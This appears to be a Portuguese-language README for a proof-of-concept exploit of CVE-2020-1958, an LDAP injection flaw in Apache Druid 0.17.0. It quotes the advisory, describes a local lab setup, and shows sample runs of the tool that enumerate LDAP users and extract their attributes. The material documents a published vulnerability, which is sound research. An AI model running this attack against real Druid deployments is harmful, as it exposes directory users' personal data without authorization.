
Prova de conceito de exploit para CVE-2020-1958, uma vulnerabilidade de injeção LDAP no Apache Druid 0.17.0, que permite enumeração de usuários e exfiltração de atributos LDAP.
CVE-2020-1958 é uma vulnerabilidade de injeção LDAP de alta severidade no Apache Druid 0.17.0. Permite que um invasor ignore o filtro de pesquisa LDAP e recupere quaisquer valores de atributos LDAP de usuários que existem no servidor LDAP.
Do aviso oficial do Apache Druid:
Quando a autenticação LDAP está habilitada:
- Os chamadores das APIs do Druid com um conjunto válido de credenciais LDAP podem contornar a barreira do filtro
credentialsValidator.userSearchque determina se um usuário LDAP válido tem permissão para autenticar no Druid. Eles ainda estão sujeitos a verificações de autorização baseadas em função, se configuradas.- Os chamadores das APIs do Druid podem recuperar quaisquer valores de atributos LDAP de usuários que existem no servidor LDAP, desde que essa informação esteja visível para o servidor Druid. Esta divulgação de informações não exige que o próprio chamador seja um usuário LDAP válido.
O script poc.py demonstra como um invasor não autorizado pode enumerar usuários em um servidor LDAP integrado ao Druid e obter o valor de qualquer atributo de qualquer usuário.
Pule esta etapa se você já possui um servidor Druid com autenticação LDAP habilitada.
Baixe o Druid 0.17.0 e extraia-o
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz
Habilite e configure a autenticação LDAP em conf/druid/single-server/nano-quickstart/_common/common.runtime.properties
Habilite a extensão druid-basic-security
Localize druid.extensions.loadList e adicione druid-basic-security:
druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
Configure a autenticação LDAP
Adicione o seguinte ao final do arquivo:
druid.auth.authenticatorChain=["ldap"]
druid.auth.authenticator.ldap.type=basic
druid.auth.authenticator.ldap.initialAdminPassword=password
druid.auth.authenticator.ldap.initialInternalClientPassword=password
druid.auth.authenticator.ldap.credentialsValidator.type=ldap
druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
druid.escalator.type=basic
druid.escalator.internalClientUsername=user1
druid.escalator.internalClientPassword=user1
druid.escalator.authorizerName=MyAuthorizer
druid.auth.authorizers=["MyAuthorizer"]
druid.auth.authorizer.MyAuthorizer.type=basic
druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
Execute o servidor OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Importe usuários de users.ldif para o LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Execute o servidor Druid
$ bin/start-nano-quickstart
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last